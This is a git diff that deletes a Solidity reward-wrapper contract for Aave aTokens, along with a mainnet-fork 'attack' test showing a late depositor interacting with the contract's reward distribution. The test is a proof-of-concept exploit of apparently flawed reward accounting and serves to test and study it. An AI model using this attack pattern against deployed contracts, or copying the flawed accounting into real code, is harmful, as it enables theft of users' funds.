diff --git a/contracts/protocol/tokenization/VamToken.sol b/contracts/protocol/tokenization/VamToken.sol deleted file mode 100644 index 186ffe0c..00000000 --- a/contracts/protocol/tokenization/VamToken.sol +++ /dev/null @@ -1,301 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity 0.8.3; - -struct UserRewards { - uint256 unclaimedBalance; - uint256 lastClaimedContractBalance; -} - -struct AppStorage { - uint256 totalSupply; - IAmToken amToken; - mapping(address => uint256) balances; - mapping(address => mapping(address => uint256)) allowances; - mapping(address => mapping(address => UserRewards)) rewards; - mapping(address => uint256) tokenVsRewards; -} - -contract VamToken { - AppStorage s; - event Transfer(address indexed _from, address indexed _to, uint256 _value); - event Approval(address indexed _owner, address indexed _spender, uint256 _value); - event RewardsClaimed(address indexed _token, address _user, uint256 amount); - - uint256 internal constant P27 = 1e27; - uint256 internal constant HALF_P27 = P27 / 2; - - constructor(IAmToken _amToken) { - s.amToken = _amToken; - } - - function name() external view returns (string memory) { - return string(abi.encodePacked('Value ', s.amToken.name())); - } - - function symbol() external view returns (string memory) { - return string(abi.encodePacked('v', s.amToken.symbol())); - } - - function decimals() external view returns (uint8) { - return s.amToken.decimals(); - } - - function totalSupply() external view returns (uint256) { - return s.totalSupply; - } - - function balanceOf(address _owner) public view returns (uint256 balance_) { - balance_ = s.balances[_owner]; - } - - function approve(address _spender, uint256 _value) external returns (bool) { - _approve(msg.sender, _spender, _value); - return true; - } - - function increaseAllowance(address _spender, uint256 _addedValue) external returns (bool) { - _approve(msg.sender, _spender, s.allowances[msg.sender][_spender] + _addedValue); - return true; - } - - function getamToken() external view returns (address) { - return address(s.amToken); - } - - function decreaseAllowance(address _spender, uint256 _subtractedValue) - public - virtual - returns (bool) - { - uint256 currentAllowance = s.allowances[msg.sender][_spender]; - require(currentAllowance >= _subtractedValue, 'Cannot decrease allowance to less than 0'); - _approve(msg.sender, _spender, currentAllowance - _subtractedValue); - - return true; - } - - function allowance(address _owner, address _spender) external view returns (uint256 remaining_) { - return s.allowances[_owner][_spender]; - } - - function transfer(address _to, uint256 _value) external returns (bool) { - _transfer(msg.sender, _to, _value); - return true; - } - - function transferFrom( - address _from, - address _to, - uint256 _value - ) external returns (bool success) { - _transfer(_from, _to, _value); - - uint256 currentAllowance = s.allowances[_from][msg.sender]; - require(currentAllowance >= _value, 'transfer amount exceeds allowance'); - _approve(_from, msg.sender, currentAllowance - _value); - - return true; - } - - function mint(uint256 _amTokenValue) external { - claimRewardsFromController(); - updateUserRewards(msg.sender); - uint256 vamTokenValue = getVamTokenValue(_amTokenValue); - s.balances[msg.sender] += vamTokenValue; - s.totalSupply += vamTokenValue; - emit Transfer(address(0), msg.sender, vamTokenValue); - s.amToken.transferFrom(msg.sender, address(this), _amTokenValue); - } - - function burn(uint256 _vamTokenValue) external { - claimRewardsFromController(); - updateUserRewards(msg.sender); - s.balances[msg.sender] -= _vamTokenValue; - s.totalSupply -= _vamTokenValue; - emit Transfer(msg.sender, address(0), _vamTokenValue); - uint256 amTokenValue = getAmTokenValue(_vamTokenValue); - s.amToken.transfer(msg.sender, amTokenValue); - } - - function updateUserRewardsForToken(address user, address rewardsToken) public { - if (rewardsToken != address(0) && s.totalSupply > 0 && user != address(0)) { - UserRewards storage _userRewards = s.rewards[user][rewardsToken]; - uint256 userApplicableBalance = - s.tokenVsRewards[rewardsToken] - _userRewards.lastClaimedContractBalance; - uint256 userShare = (s.balances[user] * userApplicableBalance) / s.totalSupply; - _userRewards.lastClaimedContractBalance = s.tokenVsRewards[rewardsToken]; - _userRewards.unclaimedBalance += userShare; - } - } - - function updateUserRewards(address user) public { - IAaveIncentivesController controller = s.amToken.getIncentivesController(); - if (address(controller) != address(0)) { - address rewardsToken = controller.REWARD_TOKEN(); - updateUserRewardsForToken(user, rewardsToken); - } - } - - function claimRewardsFromController() public { - IAaveIncentivesController controller = s.amToken.getIncentivesController(); - - if (address(controller) != address(0)) { - address rewardsToken = controller.REWARD_TOKEN(); - address[] memory assets = new address[](1); - assets[0] = address(s.amToken); - - uint256 amountReceived = controller.claimRewards(assets, type(uint256).max, address(this)); - s.tokenVsRewards[rewardsToken] += amountReceived; - } - } - - function claimRewards(address user, address token) public { - if (token == address(0)) { - IAaveIncentivesController controller = s.amToken.getIncentivesController(); - token = controller.REWARD_TOKEN(); - } - - UserRewards storage _userRewards = s.rewards[user][token]; - uint256 amount = _userRewards.unclaimedBalance; - _userRewards.unclaimedBalance = 0; - IERC20(token).transfer(user, amount); - emit RewardsClaimed(token, user, amount); - } - - function _transfer( - address _from, - address _to, - uint256 _value - ) internal { - claimRewardsFromController(); - updateUserRewards(_from); - updateUserRewards(_to); - - require(_from != address(0), '_from cannot be zero address'); - require(_to != address(0), '_to cannot be zero address'); - uint256 balance = s.balances[_from]; - require(balance >= _value, '_value greater than balance'); - s.balances[_from] -= _value; - s.balances[_to] += _value; - emit Transfer(_from, _to, _value); - } - - function _approve( - address owner, - address spender, - uint256 amount - ) internal { - require(owner != address(0), 'approve from the zero address'); - require(spender != address(0), 'approve to the zero address'); - - s.allowances[owner][spender] = amount; - emit Approval(owner, spender, amount); - } - - /** - * @dev Divides two 27 decimal percision values, rounding half up to the nearest decimal - * @param a 27 decimal percision value - * @param b 27 decimal percision value - * @return The result of a/b, in 27 decimal percision value - **/ - function p27Div(uint256 a, uint256 b) internal pure returns (uint256) { - require(b != 0, 'p27 division by 0'); - uint256 c = a * P27; - require(a == c / P27, 'p27 multiplication overflow'); - uint256 bDividedByTwo = b / 2; - c += bDividedByTwo; - require(c >= bDividedByTwo, 'p27 multiplication addition overflow'); - return c / b; - } - - /** - * @dev Multiplies two 27 decimal percision values, rounding half up to the nearest decimal - * @param a 27 decimal percision value - * @param b 27 decimal percision value - * @return The result of a*b, in 27 decimal percision value - **/ - function p27Mul(uint256 a, uint256 b) internal pure returns (uint256) { - uint256 c = a * b; - if (c == 0) { - return 0; - } - require(b == c / a, 'p27 multiplication overflow'); - c += HALF_P27; - require(c >= HALF_P27, 'p27 multiplication addition overflow'); - return c / P27; - } - - /** - * @dev Converts amToken value to maToken value - * @param _amTokenValue aToken value to convert - * @return vamTokenValue_ The converted maToken value - **/ - function getVamTokenValue(uint256 _amTokenValue) public view returns (uint256 vamTokenValue_) { - ILendingPool pool = s.amToken.POOL(); - uint256 liquidityIndex = pool.getReserveNormalizedIncome(s.amToken.UNDERLYING_ASSET_ADDRESS()); - vamTokenValue_ = p27Div(_amTokenValue, liquidityIndex); - } - - /** - * @dev Converts maToken value to aToken value - * @param _vamTokenValue maToken value to convert - * @return amTokenValue_ The converted aToken value - **/ - function getAmTokenValue(uint256 _vamTokenValue) public view returns (uint256 amTokenValue_) { - ILendingPool pool = s.amToken.POOL(); - uint256 liquidityIndex = pool.getReserveNormalizedIncome(s.amToken.UNDERLYING_ASSET_ADDRESS()); - amTokenValue_ = p27Mul(_vamTokenValue, liquidityIndex); - } -} - -interface ILendingPool { - function getReserveNormalizedIncome(address _asset) external view returns (uint256); -} - -interface IERC20 { - function name() external view returns (string memory); - - function symbol() external view returns (string memory); - - function decimals() external view returns (uint8); - - function totalSupply() external view returns (uint256); - - function balanceOf(address _owner) external view returns (uint256 balance); - - function transferFrom( - address _from, - address _to, - uint256 _value - ) external returns (bool success); - - function transfer(address _to, uint256 _value) external returns (bool success); - - function approve(address _spender, uint256 _value) external returns (bool success); - - function allowance(address _owner, address _spender) external view returns (uint256 remaining); -} - -interface IAmToken is IERC20 { - function POOL() external view returns (ILendingPool); - - function UNDERLYING_ASSET_ADDRESS() external view returns (address); - - function getIncentivesController() external view returns (IAaveIncentivesController); -} - -interface IAaveIncentivesController { - function handleAction( - address asset, - uint256 userBalance, - uint256 totalSupply - ) external; - - function claimRewards( - address[] calldata assets, - uint256 amount, - address to - ) external returns (uint256); - - function REWARD_TOKEN() external view returns (address); -} diff --git a/package.json b/package.json index ddc4366b..26c56d25 100644 --- a/package.json +++ b/package.json @@ -9,7 +9,6 @@ "scripts": { "test:main:lmtoken": "MAINNET_FORK=true TS_NODE_TRANSPILE_ONLY=1 hardhat test test-suites/test-aave/mainnet/static-atoken-lm/*.ts", "coverage:lmtoken": "npm run compile && npx hardhat coverage --testfiles 'test-suites/test-aave/emptyrun.coverage.ts' && rm -rf coverage.json coverage/ && MAINNET_FORK=true TS_NODE_TRANSPILE_ONLY=1 hardhat coverage --testfiles 'test-suites/test-aave/mainnet/static-atoken-lm/*.ts'", - "test:main:attack": "MAINNET_FORK=true TS_NODE_TRANSPILE_ONLY=1 hardhat test test-suites/test-aave/mainnet/vamtoken-attack.spec.ts", "run-env": "npm i && tail -f /dev/null", "hardhat": "hardhat", "hardhat:kovan": "hardhat --network kovan", diff --git a/test-suites/test-aave/mainnet/vamtoken-attack.spec.ts b/test-suites/test-aave/mainnet/vamtoken-attack.spec.ts deleted file mode 100644 index 66c970c3..00000000 --- a/test-suites/test-aave/mainnet/vamtoken-attack.spec.ts +++ /dev/null @@ -1,188 +0,0 @@ -import rawDRE from 'hardhat'; -import BigNumber from 'bignumber.js'; -import { - LendingPoolFactory, - WETH9Factory, - StaticATokenFactory, - ATokenFactory, - ERC20, - LendingPool, - VamToken, - VamTokenFactory, - AToken, - WETH9, - ERC20Factory, -} from '../../../types'; -import { - impersonateAccountsHardhat, - DRE, - waitForTx, - advanceTimeAndBlock, -} from '../../../helpers/misc-utils'; -import { utils } from 'ethers'; -import { MAX_UINT_AMOUNT } from '../../../helpers/constants'; -import { formatEther, parseEther } from 'ethers/lib/utils'; - -const { expect } = require('chai'); - -const DEFAULT_GAS_LIMIT = 10000000; -const DEFAULT_GAS_PRICE = utils.parseUnits('100', 'gwei'); - -const defaultTxParams = { gasLimit: DEFAULT_GAS_LIMIT, gasPrice: DEFAULT_GAS_PRICE }; - -const ETHER_BANK = '0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2'; -const LENDING_POOL = '0x7d2768dE32b0b80b7a3454c06BdAc94A69DDc7A9'; - -const WETH = '0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2'; - -const AWETH = '0x030bA81f1c18d280636F32af80b9AAd02Cf0854e'; - -const STKAAVE = '0x4da27a545c0c5B758a6BA100e3a049001de870f5'; - -const TEST_USERS = [ - '0x0F4ee9631f4be0a63756515141281A3E2B293Bbe', - '0x9FC9C2DfBA3b6cF204C37a5F690619772b926e39', -]; - -before(async () => { - await rawDRE.run('set-DRE'); - - // Impersonations - await impersonateAccountsHardhat([ETHER_BANK, ...TEST_USERS]); - - const ethHolderSigner = DRE.ethers.provider.getSigner(ETHER_BANK); - for (const recipientOfEth of [...TEST_USERS]) { - await ethHolderSigner.sendTransaction({ - from: ethHolderSigner._address, - to: recipientOfEth, - value: utils.parseEther('100'), - ...defaultTxParams, - }); - } - - console.log('\n***************'); - console.log('Test setup finished'); - console.log('***************\n'); -}); - -describe('Attack', () => { - let vamToken: VamToken; - - let lendingPool: LendingPool; - - let aweth: AToken; - let weth: WETH9; - - let stkAave: ERC20; - - it('Deposit weth into lending pool to get aweth', async () => { - const userSigner = DRE.ethers.provider.getSigner(TEST_USERS[0]); - const attackerSigner = DRE.ethers.provider.getSigner(TEST_USERS[1]); - - console.log(attackerSigner._address); - - lendingPool = LendingPoolFactory.connect(LENDING_POOL, userSigner); - - weth = WETH9Factory.connect(WETH, userSigner); - aweth = ATokenFactory.connect(AWETH, userSigner); - stkAave = ERC20Factory.connect(STKAAVE, userSigner); - - console.log(`eth balance: ${formatEther(await userSigner.getBalance())}`); - - const amountToDeposit = utils.parseEther('100'); - - await waitForTx(await weth.deposit({ value: amountToDeposit })); - await waitForTx(await weth.connect(attackerSigner).deposit({ value: amountToDeposit })); - - await waitForTx(await weth.approve(lendingPool.address, amountToDeposit)); - await waitForTx( - await weth.connect(attackerSigner).approve(lendingPool.address, amountToDeposit) - ); - - await waitForTx( - await lendingPool.deposit(weth.address, amountToDeposit, userSigner._address, 0) - ); - await waitForTx( - await lendingPool - .connect(attackerSigner) - .deposit(weth.address, amountToDeposit, attackerSigner._address, 0) - ); - - console.log(`Aweth balance: ${formatEther(await aweth.balanceOf(userSigner._address))}`); - console.log(`Aweth balance: ${formatEther(await aweth.balanceOf(attackerSigner._address))}`); - }); - - it('Deploy VamToken', async () => { - const userSigner = DRE.ethers.provider.getSigner(TEST_USERS[0]); - // Deploy the VamToken - const VamToken = await DRE.ethers.getContractFactory('VamToken', userSigner); - vamToken = (await VamToken.deploy(AWETH)) as VamToken; - }); - - it('Time to attack', async () => { - const userSigner = DRE.ethers.provider.getSigner(TEST_USERS[0]); - const attackerSigner = DRE.ethers.provider.getSigner(TEST_USERS[1]); - - const mintAmount = parseEther('50'); - - console.log('Step 1. Alice Deposits'); - // Step 1, Alice deposits - await waitForTx(await aweth.connect(userSigner).approve(vamToken.address, MAX_UINT_AMOUNT)); - await waitForTx(await vamToken.connect(userSigner).mint(mintAmount)); - - console.log( - `Alice balance in pool: ${formatEther(await vamToken.balanceOf(userSigner._address))}` - ); - console.log(`Total supply vamToken: ${formatEther(await vamToken.totalSupply())}`); - - // Step 2 Time flies - console.log('Step 2. We wait'); - const timeToAdvance = 60 * 60 * 24 * 30; - await advanceTimeAndBlock(timeToAdvance); - await waitForTx(await vamToken.claimRewardsFromController()); - console.log( - `stkAave Rewards in vamToken: ${formatEther(await stkAave.balanceOf(vamToken.address))}` - ); - - // Step 3 Bob deposits - console.log('Step 3. Bob Deposits'); - await waitForTx(await aweth.connect(attackerSigner).approve(vamToken.address, MAX_UINT_AMOUNT)); - await waitForTx(await vamToken.connect(attackerSigner).mint(mintAmount)); - console.log( - `Bob balance in pool: ${formatEther(await vamToken.balanceOf(attackerSigner._address))}` - ); - console.log(`Total supply vamToken: ${formatEther(await vamToken.totalSupply())}`); - - // Step 4, Alice withdraws and claims - console.log('Step 4. Alice Withdraws and claim'); - const aliceBalance = await vamToken.balanceOf(userSigner._address); - await waitForTx(await vamToken.connect(userSigner).burn(aliceBalance)); - - console.log(`Alice aweth balance: ${formatEther(await aweth.balanceOf(userSigner._address))}`); - - await waitForTx(await vamToken.connect(userSigner).claimRewards(userSigner._address, STKAAVE)); - console.log( - `Alice stkAave balance: ${formatEther(await stkAave.balanceOf(userSigner._address))}` - ); - - // Bob also withdraws - console.log(`Step 5. Bob withdraws and claims`); - const bobBalance = await vamToken.balanceOf(attackerSigner._address); - await waitForTx(await vamToken.connect(attackerSigner).burn(bobBalance)); - await waitForTx(await vamToken.connect(userSigner).claimRewards(userSigner._address, STKAAVE)); - console.log( - `Bob aweth balance: ${formatEther(await aweth.balanceOf(attackerSigner._address))}` - ); - console.log( - `Bob stkAave balance: ${formatEther(await stkAave.balanceOf(attackerSigner._address))}` - ); - - console.log( - `Total vamToken supply: ${formatEther( - await vamToken.totalSupply() - )}. aweth in vamToken: ${formatEther( - await aweth.balanceOf(vamToken.address) - )}. stkAave in vamToken: ${formatEther(await stkAave.balanceOf(vamToken.address))}` - ); - }); -});